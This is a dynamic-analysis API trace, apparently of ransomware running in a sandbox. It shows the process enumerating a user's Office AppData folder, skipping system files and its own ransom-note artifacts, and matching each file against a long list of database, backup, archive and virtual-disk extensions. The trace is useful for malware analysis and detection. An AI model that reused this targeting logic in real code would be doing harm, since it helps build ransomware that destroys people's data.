	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="temp") returned -1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="pagefile.sys") returned -1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="boot") returned 1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="ids.txt") returned 1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="ntuser.dat") returned -1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="perflogs") returned -1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="MSBuild") returned 1
	[0043.151] lstrlenW (lpString="MSO1033.acl") returned 11
	[0043.151] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*") returned 64
	[0043.151] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="MSO1033.acl" | out: lpString1="MSO1033.acl") returned="MSO1033.acl"
	[0043.151] lstrlenW (lpString="MSO1033.acl") returned 11
	[0043.151] lstrlenW (lpString="Apollon865") returned 10
	[0043.151] lstrcmpiW (lpString1="SO1033.acl", lpString2="Apollon865") returned 1
	[0043.151] lstrlenW (lpString=".dll") returned 4
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2=".dll") returned 1
	[0043.151] lstrlenW (lpString=".lnk") returned 4
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2=".lnk") returned 1
	[0043.151] lstrlenW (lpString=".ini") returned 4
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2=".ini") returned 1
	[0043.151] lstrlenW (lpString=".sys") returned 4
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2=".sys") returned 1
	[0043.151] lstrlenW (lpString="MSO1033.acl") returned 11
	[0043.152] lstrlenW (lpString="bak") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="bak") returned -1
	[0043.152] lstrlenW (lpString="ba_") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="ba_") returned -1
	[0043.152] lstrlenW (lpString="dbb") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="dbb") returned -1
	[0043.152] lstrlenW (lpString="vmdk") returned 4
	[0043.152] lstrcmpiW (lpString1=".acl", lpString2="vmdk") returned -1
	[0043.152] lstrlenW (lpString="rar") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="rar") returned -1
	[0043.152] lstrlenW (lpString="zip") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="zip") returned -1
	[0043.152] lstrlenW (lpString="tgz") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="tgz") returned -1
	[0043.152] lstrlenW (lpString="vbox") returned 4
	[0043.152] lstrcmpiW (lpString1=".acl", lpString2="vbox") returned -1
	[0043.152] lstrlenW (lpString="vdi") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="vdi") returned -1
	[0043.152] lstrlenW (lpString="vhd") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="vhd") returned -1
	[0043.152] lstrlenW (lpString="vhdx") returned 4
	[0043.152] lstrcmpiW (lpString1=".acl", lpString2="vhdx") returned -1
	[0043.152] lstrlenW (lpString="avhd") returned 4
	[0043.152] lstrcmpiW (lpString1=".acl", lpString2="avhd") returned -1
	[0043.152] lstrlenW (lpString="db") returned 2
	[0043.152] lstrcmpiW (lpString1="cl", lpString2="db") returned -1
	[0043.152] lstrlenW (lpString="db2") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="db2") returned -1
	[0043.152] lstrlenW (lpString="db3") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="db3") returned -1
	[0043.152] lstrlenW (lpString="dbf") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="dbf") returned -1
	[0043.152] lstrlenW (lpString="mdf") returned 3
	[0043.152] lstrcmpiW (lpString1="acl", lpString2="mdf") returned -1
	[0043.153] lstrlenW (lpString="mdb") returned 3
	[0043.153] lstrcmpiW (lpString1="acl", lpString2="mdb") returned -1
	[0043.153] lstrlenW (lpString="sql") returned 3
	[0043.153] lstrcmpiW (lpString1="acl", lpString2="sql") returned -1
	[0043.153] lstrlenW (lpString="sqlite") returned 6
	[0043.153] lstrcmpiW (lpString1="33.acl", lpString2="sqlite") returned -1
	[0043.153] lstrlenW (lpString="sqlite3") returned 7
	[0043.153] lstrcmpiW (lpString1="033.acl", lpString2="sqlite3") returned -1
	[0043.153] lstrlenW (lpString="sqlitedb") returned 8
	[0043.153] lstrcmpiW (lpString1="1033.acl", lpString2="sqlitedb") returned -1
	[0043.153] lstrlenW (lpString="xml") returned 3
	[0043.153] lstrcmpiW (lpString1="acl", lpString2="xml") returned -1
	[0043.153] lstrlenW (lpString="$er") returned 3
	[0043.153] lstrcmpiW (lpString1="acl", lpString2="$er") returned 1
	[0043.153] lstrlenW (lpString="4dd") returned 3
	[0043.153] lstrcmpiW (lpString1="acl", lpString2="4dd") returned 1
	[0043.153] lstrlenW (lpString="4dl") returned 3
	[0043.153] lstrcmpiW (lpString1="acl", lpString2="4dl") returned 1
	[0043.153] lstrlenW (lpString="^^^") returned 3
	[0043.153] lstrcmpiW (lpString1="acl", lpString2="^^^") returned 1
	[0043.153] lstrlenW (lpString="abs") returned 3
	[0043.153] lstrcmpiW (lpString1="acl", lpString2="abs") returned 1
	[0043.153] lstrlenW (lpString="abx") returned 3
	[0043.153] lstrcmpiW (lpString1="acl", lpString2="abx") returned 1
	[0043.153] lstrlenW (lpString="accdb") returned 5
	[0043.153] lstrcmpiW (lpString1="3.acl", lpString2="accdb") returned -1
	[0043.153] lstrlenW (lpString="accdc") returned 5
	[0043.153] lstrcmpiW (lpString1="3.acl", lpString2="accdc") returned -1
	[0043.153] lstrlenW (lpString="accde") returned 5
	[0043.153] lstrcmpiW (lpString1="3.acl", lpString2="accde") returned -1
	[0043.153] lstrlenW (lpString="accdr") returned 5
	[0043.153] lstrcmpiW (lpString1="3.acl", lpString2="accdr") returned -1
	[0043.153] lstrlenW (lpString="accdt") returned 5
	[0043.153] lstrcmpiW (lpString1="3.acl", lpString2="accdt") returned -1
	[0043.154] lstrlenW (lpString="accdw") returned 5
	[0043.154] lstrcmpiW (lpString1="3.acl", lpString2="accdw") returned -1
	[0043.154] lstrlenW (lpString="accft") returned 5
	[0043.154] lstrcmpiW (lpString1="3.acl", lpString2="accft") returned -1
	[0043.154] lstrlenW (lpString="adb") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="adb") returned -1
	[0043.154] lstrlenW (lpString="adb") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="adb") returned -1
	[0043.154] lstrlenW (lpString="ade") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="ade") returned -1
	[0043.154] lstrlenW (lpString="adf") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="adf") returned -1
	[0043.154] lstrlenW (lpString="adn") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="adn") returned -1
	[0043.154] lstrlenW (lpString="adp") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="adp") returned -1
	[0043.154] lstrlenW (lpString="alf") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="alf") returned -1
	[0043.154] lstrlenW (lpString="ask") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="ask") returned -1
	[0043.154] lstrlenW (lpString="btr") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="btr") returned -1
	[0043.154] lstrlenW (lpString="cat") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="cat") returned -1
	[0043.154] lstrlenW (lpString="cdb") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="cdb") returned -1
	[0043.154] lstrlenW (lpString="ckp") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="ckp") returned -1
	[0043.154] lstrlenW (lpString="cma") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="cma") returned -1
	[0043.154] lstrlenW (lpString="cpd") returned 3
	[0043.154] lstrcmpiW (lpString1="acl", lpString2="cpd") returned -1
	[0043.154] lstrlenW (lpString="dacpac") returned 6
	[0043.154] lstrcmpiW (lpString1="33.acl", lpString2="dacpac") returned -1
	[0043.155] lstrlenW (lpString="dad") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="dad") returned -1
	[0043.155] lstrlenW (lpString="dadiagrams") returned 10
	[0043.155] lstrcmpiW (lpString1="SO1033.acl", lpString2="dadiagrams") returned 1
	[0043.155] lstrlenW (lpString="daschema") returned 8
	[0043.155] lstrcmpiW (lpString1="1033.acl", lpString2="daschema") returned -1
	[0043.155] lstrlenW (lpString="db-journal") returned 10
	[0043.155] lstrcmpiW (lpString1="SO1033.acl", lpString2="db-journal") returned 1
	[0043.155] lstrlenW (lpString="db-shm") returned 6
	[0043.155] lstrcmpiW (lpString1="33.acl", lpString2="db-shm") returned -1
	[0043.155] lstrlenW (lpString="db-wal") returned 6
	[0043.155] lstrcmpiW (lpString1="33.acl", lpString2="db-wal") returned -1
	[0043.155] lstrlenW (lpString="dbc") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="dbc") returned -1
	[0043.155] lstrlenW (lpString="dbs") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="dbs") returned -1
	[0043.155] lstrlenW (lpString="dbt") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="dbt") returned -1
	[0043.155] lstrlenW (lpString="dbv") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="dbv") returned -1
	[0043.155] lstrlenW (lpString="dbx") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="dbx") returned -1
	[0043.155] lstrlenW (lpString="dcb") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="dcb") returned -1
	[0043.155] lstrlenW (lpString="dct") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="dct") returned -1
	[0043.155] lstrlenW (lpString="dcx") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="dcx") returned -1
	[0043.155] lstrlenW (lpString="ddl") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="ddl") returned -1
	[0043.155] lstrlenW (lpString="dlis") returned 4
	[0043.155] lstrcmpiW (lpString1=".acl", lpString2="dlis") returned -1
	[0043.155] lstrlenW (lpString="dp1") returned 3
	[0043.155] lstrcmpiW (lpString1="acl", lpString2="dp1") returned -1
	[0043.156] lstrlenW (lpString="dqy") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="dqy") returned -1
	[0043.156] lstrlenW (lpString="dsk") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="dsk") returned -1
	[0043.156] lstrlenW (lpString="dsn") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="dsn") returned -1
	[0043.156] lstrlenW (lpString="dtsx") returned 4
	[0043.156] lstrcmpiW (lpString1=".acl", lpString2="dtsx") returned -1
	[0043.156] lstrlenW (lpString="dxl") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="dxl") returned -1
	[0043.156] lstrlenW (lpString="eco") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="eco") returned -1
	[0043.156] lstrlenW (lpString="ecx") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="ecx") returned -1
	[0043.156] lstrlenW (lpString="edb") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="edb") returned -1
	[0043.156] lstrlenW (lpString="epim") returned 4
	[0043.156] lstrcmpiW (lpString1=".acl", lpString2="epim") returned -1
	[0043.156] lstrlenW (lpString="fcd") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="fcd") returned -1
	[0043.156] lstrlenW (lpString="fdb") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="fdb") returned -1
	[0043.156] lstrlenW (lpString="fic") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="fic") returned -1
	[0043.156] lstrlenW (lpString="flexolibrary") returned 12
	[0043.156] lstrlenW (lpString="fm5") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="fm5") returned -1
	[0043.156] lstrlenW (lpString="fmp") returned 3
	[0043.156] lstrcmpiW (lpString1="acl", lpString2="fmp") returned -1
	[0043.156] lstrlenW (lpString="fmp12") returned 5
	[0043.156] lstrcmpiW (lpString1="3.acl", lpString2="fmp12") returned -1
	[0043.156] lstrlenW (lpString="fmpsl") returned 5
	[0043.156] lstrcmpiW (lpString1="3.acl", lpString2="fmpsl") returned -1
	[0043.156] lstrlenW (lpString="fol") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="fol") returned -1
	[0043.157] lstrlenW (lpString="fp3") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="fp3") returned -1
	[0043.157] lstrlenW (lpString="fp4") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="fp4") returned -1
	[0043.157] lstrlenW (lpString="fp5") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="fp5") returned -1
	[0043.157] lstrlenW (lpString="fp7") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="fp7") returned -1
	[0043.157] lstrlenW (lpString="fpt") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="fpt") returned -1
	[0043.157] lstrlenW (lpString="frm") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="frm") returned -1
	[0043.157] lstrlenW (lpString="gdb") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="gdb") returned -1
	[0043.157] lstrlenW (lpString="gdb") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="gdb") returned -1
	[0043.157] lstrlenW (lpString="grdb") returned 4
	[0043.157] lstrcmpiW (lpString1=".acl", lpString2="grdb") returned -1
	[0043.157] lstrlenW (lpString="gwi") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="gwi") returned -1
	[0043.157] lstrlenW (lpString="hdb") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="hdb") returned -1
	[0043.157] lstrlenW (lpString="his") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="his") returned -1
	[0043.157] lstrlenW (lpString="ib") returned 2
	[0043.157] lstrcmpiW (lpString1="cl", lpString2="ib") returned -1
	[0043.157] lstrlenW (lpString="idb") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="idb") returned -1
	[0043.157] lstrlenW (lpString="ihx") returned 3
	[0043.157] lstrcmpiW (lpString1="acl", lpString2="ihx") returned -1
	[0043.157] lstrlenW (lpString="itdb") returned 4
	[0043.157] lstrcmpiW (lpString1=".acl", lpString2="itdb") returned -1
	[0043.158] lstrlenW (lpString="itw") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="itw") returned -1
	[0043.158] lstrlenW (lpString="jet") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="jet") returned -1
	[0043.158] lstrlenW (lpString="jtx") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="jtx") returned -1
	[0043.158] lstrlenW (lpString="kdb") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="kdb") returned -1
	[0043.158] lstrlenW (lpString="kexi") returned 4
	[0043.158] lstrcmpiW (lpString1=".acl", lpString2="kexi") returned -1
	[0043.158] lstrlenW (lpString="kexic") returned 5
	[0043.158] lstrcmpiW (lpString1="3.acl", lpString2="kexic") returned -1
	[0043.158] lstrlenW (lpString="kexis") returned 5
	[0043.158] lstrcmpiW (lpString1="3.acl", lpString2="kexis") returned -1
	[0043.158] lstrlenW (lpString="lgc") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="lgc") returned -1
	[0043.158] lstrlenW (lpString="lwx") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="lwx") returned -1
	[0043.158] lstrlenW (lpString="maf") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="maf") returned -1
	[0043.158] lstrlenW (lpString="maq") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="maq") returned -1
	[0043.158] lstrlenW (lpString="mar") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="mar") returned -1
	[0043.158] lstrlenW (lpString="marshal") returned 7
	[0043.158] lstrcmpiW (lpString1="033.acl", lpString2="marshal") returned -1
	[0043.158] lstrlenW (lpString="mas") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="mas") returned -1
	[0043.158] lstrlenW (lpString="mav") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="mav") returned -1
	[0043.158] lstrlenW (lpString="maw") returned 3
	[0043.158] lstrcmpiW (lpString1="acl", lpString2="maw") returned -1
	[0043.158] lstrlenW (lpString="mdbhtml") returned 7
	[0043.159] lstrcmpiW (lpString1="033.acl", lpString2="mdbhtml") returned -1
	[0043.159] lstrlenW (lpString="mdn") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="mdn") returned -1
	[0043.159] lstrlenW (lpString="mdt") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="mdt") returned -1
	[0043.159] lstrlenW (lpString="mfd") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="mfd") returned -1
	[0043.159] lstrlenW (lpString="mpd") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="mpd") returned -1
	[0043.159] lstrlenW (lpString="mrg") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="mrg") returned -1
	[0043.159] lstrlenW (lpString="mud") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="mud") returned -1
	[0043.159] lstrlenW (lpString="mwb") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="mwb") returned -1
	[0043.159] lstrlenW (lpString="myd") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="myd") returned -1
	[0043.159] lstrlenW (lpString="ndf") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="ndf") returned -1
	[0043.159] lstrlenW (lpString="nnt") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="nnt") returned -1
	[0043.159] lstrlenW (lpString="nrmlib") returned 6
	[0043.159] lstrcmpiW (lpString1="33.acl", lpString2="nrmlib") returned -1
	[0043.159] lstrlenW (lpString="ns2") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="ns2") returned -1
	[0043.159] lstrlenW (lpString="ns3") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="ns3") returned -1
	[0043.159] lstrlenW (lpString="ns4") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="ns4") returned -1
	[0043.159] lstrlenW (lpString="nsf") returned 3
	[0043.159] lstrcmpiW (lpString1="acl", lpString2="nsf") returned -1
	[0043.159] lstrlenW (lpString="nv") returned 2
	[0043.159] lstrcmpiW (lpString1="cl", lpString2="nv") returned -1
	[0043.159] lstrlenW (lpString="nv2") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="nv2") returned -1
	[0043.160] lstrlenW (lpString="nwdb") returned 4
	[0043.160] lstrcmpiW (lpString1=".acl", lpString2="nwdb") returned -1
	[0043.160] lstrlenW (lpString="nyf") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="nyf") returned -1
	[0043.160] lstrlenW (lpString="odb") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="odb") returned -1
	[0043.160] lstrlenW (lpString="odb") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="odb") returned -1
	[0043.160] lstrlenW (lpString="oqy") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="oqy") returned -1
	[0043.160] lstrlenW (lpString="ora") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="ora") returned -1
	[0043.160] lstrlenW (lpString="orx") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="orx") returned -1
	[0043.160] lstrlenW (lpString="owc") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="owc") returned -1
	[0043.160] lstrlenW (lpString="p96") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="p96") returned -1
	[0043.160] lstrlenW (lpString="p97") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="p97") returned -1
	[0043.160] lstrlenW (lpString="pan") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="pan") returned -1
	[0043.160] lstrlenW (lpString="pdb") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="pdb") returned -1
	[0043.160] lstrlenW (lpString="pdm") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="pdm") returned -1
	[0043.160] lstrlenW (lpString="pnz") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="pnz") returned -1
	[0043.160] lstrlenW (lpString="qry") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="qry") returned -1
	[0043.160] lstrlenW (lpString="qvd") returned 3
	[0043.160] lstrcmpiW (lpString1="acl", lpString2="qvd") returned -1
	[0043.160] lstrlenW (lpString="rbf") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="rbf") returned -1
	[0043.161] lstrlenW (lpString="rctd") returned 4
	[0043.161] lstrcmpiW (lpString1=".acl", lpString2="rctd") returned -1
	[0043.161] lstrlenW (lpString="rod") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="rod") returned -1
	[0043.161] lstrlenW (lpString="rodx") returned 4
	[0043.161] lstrcmpiW (lpString1=".acl", lpString2="rodx") returned -1
	[0043.161] lstrlenW (lpString="rpd") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="rpd") returned -1
	[0043.161] lstrlenW (lpString="rsd") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="rsd") returned -1
	[0043.161] lstrlenW (lpString="sas7bdat") returned 8
	[0043.161] lstrcmpiW (lpString1="1033.acl", lpString2="sas7bdat") returned -1
	[0043.161] lstrlenW (lpString="sbf") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="sbf") returned -1
	[0043.161] lstrlenW (lpString="scx") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="scx") returned -1
	[0043.161] lstrlenW (lpString="sdb") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="sdb") returned -1
	[0043.161] lstrlenW (lpString="sdc") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="sdc") returned -1
	[0043.161] lstrlenW (lpString="sdf") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="sdf") returned -1
	[0043.161] lstrlenW (lpString="sis") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="sis") returned -1
	[0043.161] lstrlenW (lpString="spq") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="spq") returned -1
	[0043.161] lstrlenW (lpString="te") returned 2
	[0043.161] lstrcmpiW (lpString1="cl", lpString2="te") returned -1
	[0043.161] lstrlenW (lpString="teacher") returned 7
	[0043.161] lstrcmpiW (lpString1="033.acl", lpString2="teacher") returned -1
	[0043.161] lstrlenW (lpString="tmd") returned 3
	[0043.161] lstrcmpiW (lpString1="acl", lpString2="tmd") returned -1
	[0043.161] lstrlenW (lpString="tps") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="tps") returned -1
	[0043.162] lstrlenW (lpString="trc") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="trc") returned -1
	[0043.162] lstrlenW (lpString="trc") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="trc") returned -1
	[0043.162] lstrlenW (lpString="trm") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="trm") returned -1
	[0043.162] lstrlenW (lpString="udb") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="udb") returned -1
	[0043.162] lstrlenW (lpString="udl") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="udl") returned -1
	[0043.162] lstrlenW (lpString="usr") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="usr") returned -1
	[0043.162] lstrlenW (lpString="v12") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="v12") returned -1
	[0043.162] lstrlenW (lpString="vis") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="vis") returned -1
	[0043.162] lstrlenW (lpString="vpd") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="vpd") returned -1
	[0043.162] lstrlenW (lpString="vvv") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="vvv") returned -1
	[0043.162] lstrlenW (lpString="wdb") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="wdb") returned -1
	[0043.162] lstrlenW (lpString="wmdb") returned 4
	[0043.162] lstrcmpiW (lpString1=".acl", lpString2="wmdb") returned -1
	[0043.162] lstrlenW (lpString="wrk") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="wrk") returned -1
	[0043.162] lstrlenW (lpString="xdb") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="xdb") returned -1
	[0043.162] lstrlenW (lpString="xld") returned 3
	[0043.162] lstrcmpiW (lpString1="acl", lpString2="xld") returned -1
	[0043.162] lstrlenW (lpString="xmlff") returned 5
	[0043.162] lstrcmpiW (lpString1="3.acl", lpString2="xmlff") returned -1
	[0043.162] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
	[0043.162] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="Apollon865.txt.exe") returned 1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2=".") returned 1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="..") returned 1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="windows") returned -1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="bootmgr") returned 1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="temp") returned -1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="pagefile.sys") returned 1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="boot") returned 1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="ids.txt") returned 1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="ntuser.dat") returned 1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="perflogs") returned 1
	[0043.163] lstrcmpiW (lpString1="Recent", lpString2="MSBuild") returned 1
	[0043.163] lstrlenW (lpString="Recent") returned 6
	[0043.163] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 74
	[0043.163] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Recent" | out: lpString1="Recent") returned="Recent"
	[0043.163] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0043.163] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5995a0
	[0043.163] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0043.163] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 0
	[0043.163] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.163] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0043.163] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent"
	[0043.163] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0043.163] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
